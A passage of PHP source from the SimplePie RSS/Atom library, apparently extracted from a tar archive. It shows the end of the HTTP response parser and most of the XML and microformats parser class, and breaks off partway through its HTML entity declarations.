                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                case '\\':
                    $this->position++;
                    $this->state = self::STATE_QUOTE_ESCAPED;
                    break;

                default:
                    $this->state = self::STATE_QUOTE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while within quotes
     */
    protected function quote_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * Parse an escaped character within quotes
     */
    protected function quote_escaped()
    {
        $this->value .= $this->data[$this->position];
        $this->position++;
        $this->state = self::STATE_QUOTE;
    }

    /**
     * Parse the body
     */
    protected function body()
    {
        $this->body = substr($this->data, $this->position);
        if (!empty($this->headers['transfer-encoding'])) {
            unset($this->headers['transfer-encoding']);
            $this->state = self::STATE_CHUNKED;
        } else {
            $this->state = self::STATE_EMIT;
        }
    }

    /**
     * Parsed a "Transfer-Encoding: chunked" body
     */
    protected function chunked()
    {
        if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) {
            $this->state = self::STATE_EMIT;
            return;
        }

        $decoded = '';
        $encoded = $this->body;

        while (true) {
            $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches);
            if (!$is_chunked) {
                // Looks like it's not chunked after all
                $this->state = self::STATE_EMIT;
                return;
            }

            $length = hexdec(trim($matches[1]));
            if ($length === 0) {
                // Ignore trailer headers
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }

            $chunk_length = strlen($matches[0]);
            $decoded .= substr($encoded, $chunk_length, $length);
            $encoded = substr($encoded, $chunk_length + $length + 2);

            // BC for PHP < 8.0: substr() can return bool instead of string
            $encoded = ($encoded === false) ? '' : $encoded;

            if (trim($encoded) === '0' || empty($encoded)) {
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }
        }
    }

    /**
     * Prepare headers (take care of proxies headers)
     *
     * @param string  $headers Raw headers
     * @param integer $count   Redirection count. Default to 1.
     *
     * @return string
     */
    public static function prepareHeaders($headers, $count = 1)
    {
        $data = explode("\r\n\r\n", $headers, $count);
        $data = array_pop($data);
        if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        return $data;
    }
}

class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser');
src/Parser.php000064400000103543151024210710007277 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\XML\Declaration\Parser as DeclarationParser;

/**
 * Parses XML into something sane
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_parser_class()}
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Parser implements RegistryAware
{
    public $error_code;
    public $error_string;
    public $current_line;
    public $current_column;
    public $current_byte;
    public $separator = ' ';
    public $namespace = [''];
    public $element = [''];
    public $xml_base = [''];
    public $xml_base_explicit = [false];
    public $xml_lang = [''];
    public $data = [];
    public $datas = [[]];
    public $current_xhtml_construct = -1;
    public $encoding;
    protected $registry;

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function parse(&$data, $encoding, $url = '')
    {
        if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
            $doc = new \DOMDocument();
            @$doc->loadHTML($data);
            $xpath = new \DOMXpath($doc);
            // Check for both h-feed and h-entry, as both a feed with no entries
            // and a list of entries without an h-feed wrapper are both valid.
            $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                'contains(concat(" ", @class, " "), " h-entry ")]';
            $result = $xpath->query($query);
            if ($result->length !== 0) {
                return $this->parse_microformats($data, $url);
            }
        }

        // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
        if (strtoupper($encoding) === 'US-ASCII') {
            $this->encoding = 'UTF-8';
        } else {
            $this->encoding = $encoding;
        }

        // Strip BOM:
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $data = substr($data, 4);
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $data = substr($data, 4);
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $data = substr($data, 2);
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $data = substr($data, 2);
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $data = substr($data, 3);
        }

        if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) {
            $declaration = $this->registry->create(DeclarationParser::class, [substr($data, 5, $pos - 5)]);
            if ($declaration->parse()) {
                $data = substr($data, $pos + 2);
                $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' ."\n". $this->declare_html_entities() . $data;
            } else {
                $this->error_string = 'SimplePie bug! Please report this!';
                return false;
            }
        }

        $return = true;

        static $xml_is_sane = null;
        if ($xml_is_sane === null) {
            $parser_check = xml_parser_create();
            xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
            xml_parser_free($parser_check);
            $xml_is_sane = isset($values[0]['value']);
        }

        // Create the parser
        if ($xml_is_sane) {
            $xml = xml_parser_create_ns($this->encoding, $this->separator);
            xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
            xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
            xml_set_character_data_handler($xml, [$this, 'cdata']);
            xml_set_element_handler($xml, [$this, 'tag_open'], [$this, 'tag_close']);

            // Parse!
            $wrapper = @is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory';
            if (($stream = fopen($wrapper, 'r+')) &&
                fwrite($stream, $data) &&
                rewind($stream)) {
                //Parse by chunks not to use too much memory
                do {
                    $stream_data = fread($stream, 1048576);
                    if (!xml_parse($xml, $stream_data === false ? '' : $stream_data, feof($stream))) {
                        $this->error_code = xml_get_error_code($xml);
                        $this->error_string = xml_error_string($this->error_code);
                        $return = false;
                        break;
                    }
                } while (!feof($stream));
                fclose($stream);
            } else {
                $return = false;
            }

            $this->current_line = xml_get_current_line_number($xml);
            $this->current_column = xml_get_current_column_number($xml);
            $this->current_byte = xml_get_current_byte_index($xml);
            xml_parser_free($xml);
            return $return;
        }

        libxml_clear_errors();
        $xml = new \XMLReader();
        $xml->xml($data);
        while (@$xml->read()) {
            switch ($xml->nodeType) {
                case constant('XMLReader::END_ELEMENT'):
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $this->tag_close(null, $tagName);
                    break;
                case constant('XMLReader::ELEMENT'):
                    $empty = $xml->isEmptyElement;
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $attributes = [];
                    while ($xml->moveToNextAttribute()) {
                        if ($xml->namespaceURI !== '') {
                            $attrName = $xml->namespaceURI . $this->separator . $xml->localName;
                        } else {
                            $attrName = $xml->localName;
                        }
                        $attributes[$attrName] = $xml->value;
                    }
                    $this->tag_open(null, $tagName, $attributes);
                    if ($empty) {
                        $this->tag_close(null, $tagName);
                    }
                    break;
                case constant('XMLReader::TEXT'):

                case constant('XMLReader::CDATA'):
                    $this->cdata(null, $xml->value);
                    break;
            }
        }
        if ($error = libxml_get_last_error()) {
            $this->error_code = $error->code;
            $this->error_string = $error->message;
            $this->current_line = $error->line;
            $this->current_column = $error->column;
            return false;
        }

        return true;
    }

    public function get_error_code()
    {
        return $this->error_code;
    }

    public function get_error_string()
    {
        return $this->error_string;
    }

    public function get_current_line()
    {
        return $this->current_line;
    }

    public function get_current_column()
    {
        return $this->current_column;
    }

    public function get_current_byte()
    {
        return $this->current_byte;
    }

    public function get_data()
    {
        return $this->data;
    }

    public function tag_open($parser, $tag, $attributes)
    {
        [$this->namespace[], $this->element[]] = $this->split_ns($tag);

        $attribs = [];
        foreach ($attributes as $name => $value) {
            [$attrib_namespace, $attribute] = $this->split_ns($name);
            $attribs[$attrib_namespace][$attribute] = $value;
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'])) {
            $base = $this->registry->call(Misc::class, 'absolutize_url', [$attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'], end($this->xml_base)]);
            if ($base !== false) {
                $this->xml_base[] = $base;
                $this->xml_base_explicit[] = true;
            }
        } else {
            $this->xml_base[] = end($this->xml_base);
            $this->xml_base_explicit[] = end($this->xml_base_explicit);
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'])) {
            $this->xml_lang[] = $attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'];
        } else {
            $this->xml_lang[] = end($this->xml_lang);
        }

        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct++;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML) {
                $this->data['data'] .= '<' . end($this->element);
                if (isset($attribs[''])) {
                    foreach ($attribs[''] as $name => $value) {
                        $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
                    }
                }
                $this->data['data'] .= '>';
            }
        } else {
            $this->datas[] = &$this->data;
            $this->data = &$this->data['child'][end($this->namespace)][end($this->element)][];
            $this->data = ['data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)];
            if ((end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_03 && in_array(end($this->element), ['title', 'tagline', 'copyright', 'info', 'summary', 'content']) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_10 && in_array(end($this->element), ['rights', 'subtitle', 'summary', 'info', 'title', 'content']) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_20 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_090 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_10 && in_array(end($this->element), ['title']))) {
                $this->current_xhtml_construct = 0;
            }
        }
    }

    public function cdata($parser, $cdata)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
        } else {
            $this->data['data'] .= $cdata;
        }
    }

    public function tag_close($parser, $tag)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct--;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML && !in_array(end($this->element), ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'])) {
                $this->data['data'] .= '</' . end($this->element) . '>';
            }
        }
        if ($this->current_xhtml_construct === -1) {
            $this->data = &$this->datas[count($this->datas) - 1];
            array_pop($this->datas);
        }

        array_pop($this->element);
        array_pop($this->namespace);
        array_pop($this->xml_base);
        array_pop($this->xml_base_explicit);
        array_pop($this->xml_lang);
    }

    public function split_ns($string)
    {
        static $cache = [];
        if (!isset($cache[$string])) {
            if ($pos = strpos($string, $this->separator)) {
                static $separator_length;
                if (!$separator_length) {
                    $separator_length = strlen($this->separator);
                }
                $namespace = substr($string, 0, $pos);
                $local_name = substr($string, $pos + $separator_length);
                if (strtolower($namespace) === \SimplePie\SimplePie::NAMESPACE_ITUNES) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_ITUNES;
                }

                // Normalize the Media RSS namespaces
                if ($namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_MEDIARSS;
                }
                $cache[$string] = [$namespace, $local_name];
            } else {
                $cache[$string] = ['', $string];
            }
        }
        return $cache[$string];
    }

    private function parse_hcard($data, $category = false)
    {
        $name = '';
        $link = '';
        // Check if h-card is set and pass that information on in the link.
        if (isset($data['type']) && in_array('h-card', $data['type'])) {
            if (isset($data['properties']['name'][0])) {
                $name = $data['properties']['name'][0];
            }
            if (isset($data['properties']['url'][0])) {
                $link = $data['properties']['url'][0];
                if ($name === '') {
                    $name = $link;
                } else {
                    // can't have commas in categories.
                    $name = str_replace(',', '', $name);
                }
                $person_tag = $category ? '<span class="person-tag"></span>' : '';
                return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>';
            }
        }
        return $data['value'] ?? '';
    }

    private function parse_microformats(&$data, $url)
    {
        $feed_title = '';
        $feed_author = null;
        $author_cache = [];
        $items = [];
        $entries = [];
        $mf = \Mf2\parse($data, $url);
        // First look for an h-feed.
        $h_feed = [];
        foreach ($mf['items'] as $mf_item) {
            if (in_array('h-feed', $mf_item['type'])) {
                $h_feed = $mf_item;
                break;
            }
            // Also look for h-feed or h-entry in the children of each top level item.
            if (!isset($mf_item['children'][0]['type'])) {
                continue;
            }
            if (in_array('h-feed', $mf_item['children'][0]['type'])) {
                $h_feed = $mf_item['children'][0];
                // In this case the parent of the h-feed may be an h-card, so use it as
                // the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            } elseif (in_array('h-entry', $mf_item['children'][0]['type'])) {
                $entries = $mf_item['children'];
                // In this case the parent of the h-entry list may be an h-card, so use
                // it as the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            }
        }
        if (isset($h_feed['children'])) {
            $entries = $h_feed['children'];
            // Also set the feed title and store author from the h-feed if available.
            if (isset($mf['items'][0]['properties']['name'][0])) {
                $feed_title = $mf['items'][0]['properties']['name'][0];
            }
            if (isset($mf['items'][0]['properties']['author'][0])) {
                $feed_author = $mf['items'][0]['properties']['author'][0];
            }
        } elseif (count($entries) === 0) {
            $entries = $mf['items'];
        }
        for ($i = 0; $i < count($entries); $i++) {
            $entry = $entries[$i];
            if (in_array('h-entry', $entry['type'])) {
                $item = [];
                $title = '';
                $description = '';
                if (isset($entry['properties']['url'][0])) {
                    $link = $entry['properties']['url'][0];
                    if (isset($link['value'])) {
                        $link = $link['value'];
                    }
                    $item['link'] = [['data' => $link]];
                }
                if (isset($entry['properties']['uid'][0])) {
                    $guid = $entry['properties']['uid'][0];
                    if (isset($guid['value'])) {
                        $guid = $guid['value'];
                    }
                    $item['guid'] = [['data' => $guid]];
                }
                if (isset($entry['properties']['name'][0])) {
                    $title = $entry['properties']['name'][0];
                    if (isset($title['value'])) {
                        $title = $title['value'];
                    }
                    $item['title'] = [['data' => $title]];
                }
                if (isset($entry['properties']['author'][0]) || isset($feed_author)) {
                    // author is a special case, it can be plain text or an h-card array.
                    // If it's plain text it can also be a url that should be followed to
                    // get the actual h-card.
                    $author = $entry['properties']['author'][0] ?? $feed_author;
                    if (!is_string($author)) {
                        $author = $this->parse_hcard($author);
                    } elseif (strpos($author, 'http') === 0) {
                        if (isset($author_cache[$author])) {
                            $author = $author_cache[$author];
                        } else {
                            $mf = \Mf2\fetch($author);
                            foreach ($mf['items'] as $hcard) {
                                // Only interested in an h-card by itself in this case.
                                if (!in_array('h-card', $hcard['type'])) {
                                    continue;
                                }
                                // It must have a url property matching what we fetched.
                                if (!isset($hcard['properties']['url']) ||
                                        !(in_array($author, $hcard['properties']['url']))) {
                                    continue;
                                }
                                // Save parse_hcard the trouble of finding the correct url.
                                $hcard['properties']['url'][0] = $author;
                                // Cache this h-card for the next h-entry to check.
                                $author_cache[$author] = $this->parse_hcard($hcard);
                                $author = $author_cache[$author];
                                break;
                            }
                        }
                    }
                    $item['author'] = [['data' => $author]];
                }
                if (isset($entry['properties']['photo'][0])) {
                    // If a photo is also in content, don't need to add it again here.
                    $content = '';
                    if (isset($entry['properties']['content'][0]['html'])) {
                        $content = $entry['properties']['content'][0]['html'];
                    }
                    $photo_list = [];
                    for ($j = 0; $j < count($entry['properties']['photo']); $j++) {
                        $photo = $entry['properties']['photo'][$j];
                        if (!empty($photo) && strpos($content, $photo) === false) {
                            $photo_list[] = $photo;
                        }
                    }
                    // When there's more than one photo show the first and use a lightbox.
                    // Need a permanent, unique name for the image set, but don't have
                    // anything unique except for the content itself, so use that.
                    $count = count($photo_list);
                    if ($count > 1) {
                        $image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]);
                        $description = '<p>';
                        for ($j = 0; $j < $count; $j++) {
                            $hidden = $j === 0 ? '' : 'class="hidden" ';
                            $description .= '<a href="'.$photo_list[$j].'" '.$hidden.
                                'data-lightbox="image-set-'.$image_set_id.'">'.
                                '<img src="'.$photo_list[$j].'"></a>';
                        }
                        $description .= '<br><b>'.$count.' photos</b></p>';
                    } elseif ($count == 1) {
                        $description = '<p><img src="'.$photo_list[0].'"></p>';
                    }
                }
                if (isset($entry['properties']['content'][0]['html'])) {
                    // e-content['value'] is the same as p-name when they are on the same
                    // element. Use this to replace title with a strip_tags version so
                    // that alt text from images is not included in the title.
                    if ($entry['properties']['content'][0]['value'] === $title) {
                        $title = strip_tags($entry['properties']['content'][0]['html']);
                        $item['title'] = [['data' => $title]];
                    }
                    $description .= $entry['properties']['content'][0]['html'];
                    if (isset($entry['properties']['in-reply-to'][0])) {
                        $in_reply_to = '';
                        if (is_string($entry['properties']['in-reply-to'][0])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0];
                        } elseif (isset($entry['properties']['in-reply-to'][0]['value'])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0]['value'];
                        }
                        if ($in_reply_to !== '') {
                            $description .= '<p><span class="in-reply-to"></span> '.
                                '<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>';
                        }
                    }
                    $item['description'] = [['data' => $description]];
                }
                if (isset($entry['properties']['category'])) {
                    $category_csv = '';
                    // Categories can also contain h-cards.
                    foreach ($entry['properties']['category'] as $category) {
                        if ($category_csv !== '') {
                            $category_csv .= ', ';
                        }
                        if (is_string($category)) {
                            // Can't have commas in categories.
                            $category_csv .= str_replace(',', '', $category);
                        } else {
                            $category_csv .= $this->parse_hcard($category, true);
                        }
                    }
                    $item['category'] = [['data' => $category_csv]];
                }
                if (isset($entry['properties']['published'][0])) {
                    $timestamp = strtotime($entry['properties']['published'][0]);
                    $pub_date = date('F j Y g:ia', $timestamp).' GMT';
                    $item['pubDate'] = [['data' => $pub_date]];
                }
                // The title and description are set to the empty string to represent
                // a deleted item (which also makes it an invalid rss item).
                if (isset($entry['properties']['deleted'][0])) {
                    $item['title'] = [['data' => '']];
                    $item['description'] = [['data' => '']];
                }
                $items[] = ['child' => ['' => $item]];
            }
        }
        // Mimic RSS data format when storing microformats.
        $link = [['data' => $url]];
        $image = '';
        if (!is_string($feed_author) &&
                isset($feed_author['properties']['photo'][0])) {
            $image = [['child' => ['' => ['url' =>
                [['data' => $feed_author['properties']['photo'][0]]]]]]];
        }
        // Use the name given for the h-feed, or get the title from the html.
        if ($feed_title !== '') {
            $feed_title = [['data' => htmlspecialchars($feed_title)]];
        } elseif ($position = strpos($data, '<title>')) {
            $start = $position < 200 ? 0 : $position - 200;
            $check = substr($data, $start, 400);
            $matches = [];
            if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) {
                $feed_title = [['data' => htmlspecialchars($matches[1])]];
            }
        }
        $channel = ['channel' => [['child' => ['' =>
            ['link' => $link, 'image' => $image, 'title' => $feed_title,
                  'item' => $items]]]]];
        $rss = [['attribs' => ['' => ['version' => '2.0']],
                           'child' => ['' => $channel]]];
        $this->data = ['child' => ['' => ['rss' => $rss]]];
        return true;
    }

    private function declare_html_entities()
    {
        // This is required because the RSS specification says that entity-encoded
        // html is allowed, but the xml specification says they must be declared.
        return '<!DOCTYPE html [ <!ENTITY nbsp "&#x00A0;"> <!ENTITY iexcl "&#x00A1;"> <!ENTITY cent "&#x00A2;"> <!ENTITY pound "&#x00A3;"> <!ENTITY curren "&#x00A4;"> <!ENTITY yen "&#x00A5;"> <!ENTITY brvbar "&#x00A6;"> <!ENTITY sect "&#x00A7;"> <!ENTITY uml "&#x00A8;"> <!ENTITY copy "&#x00A9;"> <!ENTITY ordf "&#x00AA;"> <!ENTITY laquo "&#x00AB;"> <!ENTITY not "&#x00AC;"> <!ENTITY shy "&#x00AD;"> <!ENTITY reg "&#x00AE;"> <!ENTITY macr "&#x00AF;"> <!ENTITY deg "&#x00B0;"> <!ENTITY plusmn "&#x00B1;"> <!ENTITY sup2 "&#x00B2;"> <!ENTITY sup3 "&#x00B3;"> <!ENTITY acute "&#x00B4;"> <!ENTITY micro "&#x00B5;"> <!ENTITY para "&#x00B6;"> <!ENTITY middot "&#x00B7;"> <!ENTITY cedil "&#x00B8;"> <!ENTITY sup1 "&#x00B9;"> <!ENTITY ordm "&#x00BA;"> <!ENTITY raquo "&#x00BB;"> <!ENTITY frac14 "&#x00BC;"> <!ENTITY frac12 "&#x00BD;"> <!ENTITY frac34 "&#x00BE;"> <!ENTITY iquest "&#x00BF;"> <!ENTITY Agrave "&#x00C0;"> <!ENTITY Aacute "&#x00C1;"> <!ENTITY Acirc "&#x00C2;"> <!ENTITY Atilde "&#x00C3;"> <!ENTITY Auml "&#x00C4;"> <!ENTITY Aring "&#x00C5;"> <!ENTITY AElig "&#x00C6;"> <!ENTITY Ccedil "&#x00C7;"> <!ENTITY Egrave "&#x00C8;"> <!ENTITY Eacute "&#x00C9;"> <!ENTITY Ecirc "&#x00CA;"> <!ENTITY Euml "&#x00CB;"> <!ENTITY Igrave "&#x00CC;"> <!ENTITY Iacute "&#x00CD;"> <!ENTITY Icirc "&#x00CE;"> <!ENTITY Iuml "&#x00CF;"> <!ENTITY ETH "&#x00D0;"> <!ENTITY Ntilde "&#x00D1;"> <!ENTITY Ograve "&#x00D2;"> <!ENTITY Oacute "&#x00D3;"> <!ENTITY Ocirc "&#x00D4;"> <!ENTITY Otilde "&#x00D5;"> <!ENTITY Ouml "&#x00D6;"> <!ENTITY times "&#x00D7;"> <!ENTITY Oslash "&#x00D8;"> <!ENTITY Ugrave "&#x00D9;"> <!ENTITY Uacute "&#x00DA;"> <!ENTITY Ucirc "&#x00DB;"> <!ENTITY Uuml "&#x00DC;"> <!ENTITY Yacute "&#x00DD;"> <!ENTITY THORN "&#x00DE;"> <!ENTITY szlig "&#x00DF;"> <!ENTITY agrave "&#x00E0;"> <!ENTITY aacute "&#x00E1;"> <!ENTITY acirc "&#x00E2;"> <!ENTITY atilde "&#x00E3;"> <!ENTITY auml "&#x00E4;"> <!ENTITY aring "&#x00E5;"> <!ENTITY aelig "&#x00E6;"> <!ENTITY ccedil "&#x00E7;"> <!ENTITY egrave "&#x00E8;"> <!ENTITY eacute "&#x00E9;"> <!ENTITY ecirc "&#x00EA;"> <!ENTITY euml "&#x00EB;"> <!ENTITY igrave "&#x00EC;"> <!ENTITY iacute "&#x00ED;"> <!ENTITY icirc "&#x00EE;"> <!ENTITY iuml "&#x00EF;"> <!ENTITY eth "&#x00F0;"> <!ENTITY ntilde "&#x00F1;"> <!ENTITY ograve "&#x00F2;"> <!ENTITY oacute "&#x00F3;"> <!ENTITY ocirc "&#x00F4;"> <!ENTITY otilde "&#x00F5;"> <!ENTITY ouml "&#x00F6;"> <!ENTITY divide "&#x00F7;"> <!ENTITY oslash "&#x00F8;"> <!ENTITY ugrave "&#x00F9;"> <!ENTITY uacute "&#x00FA;"> <!ENTITY ucirc "&#x00FB;"> <!ENTITY uuml "&#x00FC;"> <!ENTITY yacute "&#x00FD;"> <!ENTITY thorn "&#x00FE;"> <!ENTITY yuml "&#x00FF;"> <!ENTITY OElig "&#x0152;"> <!ENTITY oelig "&#x0153;"> <!ENTITY Scaron "&#x0160;"> <!ENTITY scaron "&#x0161;"> <!ENTITY Yuml "&#x0178;"> <!ENTITY fnof "&#x0192;"> <!ENTITY circ "&#x02C6;"> <!ENTITY tilde "&#x02DC;"> <!ENTITY Alpha "&#x0391;"> <!ENTITY Beta "&#x0392;"> <!ENTITY Gamma "&#x0393;"> <!ENTITY Epsilon "&#x0395;"> <!ENTITY Zeta "&#x0396;"> <!ENTITY Eta "&#x0397;"> <!ENTITY Theta "&#x0398;"> <!ENTITY Iota "&#x0399;"> <!ENTITY Kappa "&#x039A;"> <!ENTITY Lambda "&#x039B;"> <!ENTITY Mu "&#x039C;"> <!ENTITY Nu "&#x039D;"> <!ENTITY Xi "&#x039E;"> <!ENTITY Omicron "&#x039F;"> <!ENTITY Pi "&#x03A0;"> <!ENTITY Rho "&#x03A1;"> <!ENTITY Sigma "&#x03A3;"> <!ENTITY Tau "&#x03A4;"> <!ENTITY Upsilon "&#x03A5;"> <!ENTITY Phi "&#x03A6;"> <!ENTITY Chi "&#x03A7;"> <!ENTITY Psi "&#x03A8;"> <!ENTITY Omega "&#x03A9;"> <!ENTITY alpha "&#x03B1;"> <!ENTITY beta "&#x03B2;"> <!ENTITY gamma "&#x03B3;"> <!ENTITY delta "&#x03B4;"> <!ENTITY epsilon "&#x03B5;"> <!ENTITY zeta "&#x03B6;"> <!ENTITY eta "&#x03B7;"> <!ENTITY theta "&#x03B8;"> <!ENTITY iota "&#x03B9;"> <!ENTITY kappa "&#x03BA;"> <!ENTITY lambda "&#x03BB;"> <!ENTITY mu "&#x03BC;"> <!ENTITY nu "&#x03BD;"> <!ENTITY xi "&#x03BE;"> <!ENTITY omicron "&#x03BF;"> <!ENTITY pi "&#x03C0;"> <!ENTITY rho "&#x03C1;"> <!ENTITY sigmaf "&#x03C2;"> <!ENTITY sigma "&#x03C3;"> <!ENTITY tau "&#x03C4;"> <!ENTITY upsilon "&#x03C5;"> <!ENTITY phi "&#x03C6;"> <!ENTITY chi "&#x03C7;"> <!ENTITY psi "&#x03C8;"> <!ENTITY omega "&#x03C9;"> <!ENTITY thetasym "&#x03D1;"> <!ENTITY upsih "&#x03D2;"> <!ENTITY piv "&#x03D6;"> <!ENTITY ensp "&#x2002;"> <!ENTITY emsp "&#x2003;"> <!ENTITY thinsp "&#x2009;"> <!ENTITY zwnj "&#x200C;"> <!ENTITY zwj "&#x200D;"> <!ENTITY lrm "&#x200E;"> <!ENTITY rlm "&#x200F;"> <!ENTITY ndash "&#x2013;"> <!ENTITY mdash "&#x2014;"> <!ENTITY lsquo "&#x2018;"> <!ENTITY rsquo "&#x2019;"> <!ENTITY sbquo "&#x201A;"> <!ENTITY ldquo "&#x201C;"> <!ENTITY rdquo "&#x201D;"> <!ENTITY bdquo "&#x201E;"> <!ENTITY dagger "&#x2020;"> <!ENTITY Dagger "&#x2021;"> <!ENTITY bull "&#x2022;"> <!ENTITY hellip "&#x2026;"> <!ENTITY permil "&#x2030;"> <!ENTITY prime "&#x2032;"> <!ENTITY Prime 